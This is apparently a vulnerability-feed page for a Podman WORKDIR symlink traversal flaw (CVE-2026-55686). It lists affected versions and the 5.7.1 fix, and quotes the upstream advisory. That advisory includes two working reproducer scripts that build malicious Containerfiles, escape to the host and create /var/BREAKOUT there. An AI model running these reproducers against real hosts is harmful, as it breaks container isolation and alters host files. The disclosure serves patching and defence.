Answer in brief
CVE-2026-55686 records a Medium severity (CVSS 5.3) vulnerability in Podman: WORKDIR symlink traversal vulnerability. The current sources do not mark it as known exploited. The current feed maps github.com/containers/podman/v3 (go), github.com/containers/podman/v3 (go), github.com/containers/podman/v4 (go), github.com/containers/podman/v4 (go) and additional mapped packages. Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 5.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps github.com/containers/podman/v3 (go), github.com/containers/podman/v3 (go), github.com/containers/podman/v4 (go), github.com/containers/podman/v4 (go) and additional mapped packages. Check affected ranges and fixed versions before updating.
| Product | Affected versions | Fixed versions |
|---|---|---|
| cpe:2.3:a:podman_project:podman:*:*:*:*:*:*:*:* | Not reported | Not reported |
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/containers/podman/v3go | <=3.4.7 | Not reported |
| github.com/containers/podman/v3go | >=0 | Not reported |
| github.com/containers/podman/v4go | <=4.9.5 | Not reported |
| github.com/containers/podman/v4go | >=0 | Not reported |
| github.com/containers/podman/v5go | <=5.7.0 | 5.7.1 |
| github.com/containers/podman/v5go | >=0 <5.7.1 | 5.7.1 |
Published upstream
Jun 18, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Nov 3, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Jun 19, 2026
### Summary Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. ### Patch https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0 ### Details This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858) ### PoC The reproducer script _test1.bash_ demonstrates the vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/var/BREAKOUT` as current working directory. The reproducer script _test2.bash_ demonstrates the same vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/usr/local` as current working directory. The reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory. Reproducer **test1.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine RUN cd / && ln -s ../../../../../../../var symlink USER 1234:1234 WORKDIR /symlink/BREAKOUT CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Reproducer **test2.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine ARG breakout_dirname=/var ARG breakout_basename=BREAKOUT ARG produce_pwd=/usr/local RUN mkdir -p /0/1/2/3 && \ cd /0 && \ ln -s 1/2/3 symlink1 && \ mkdir -p /0/1/symlink2/${breakout_dirname} && \ cd /0/1/symlink2/${breakout_dirname} && \ ln -s ${produce_pwd} ${breakout_basename} RUN cd / && ln -s ../../../../../../.. symlink2 USER 1234:1234 WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename} CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Vulnerable: podman 5.7.0 using Fedora CoreOS 43.20251120.3.0 ``` root@localhost:~# bash test1.bash 38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80 current working directory: /var/BREAKOUT drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT root@localhost:~# rmdir /var/BREAKOUT/ root@localhost:~# bash test2.bash c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9 current working directory: /usr/local drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT ``` Not vulnerable: podman 5.7.1 using Fedora CoreOS 43.20260119.1.1 ``` root@localhost:~# bash test1.bash 0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788 current working directory: /var/BREAKOUT ls: cannot access '/var/BREAKOUT': No such file or directory root@localhost:~# bash test2.bash 568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60 current working directory: /usr/local ls: cannot access '/var/BREAKOUT': No such file or directory ``` ### Credits We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.
Quoted source text, attributed separately from HOL analysis.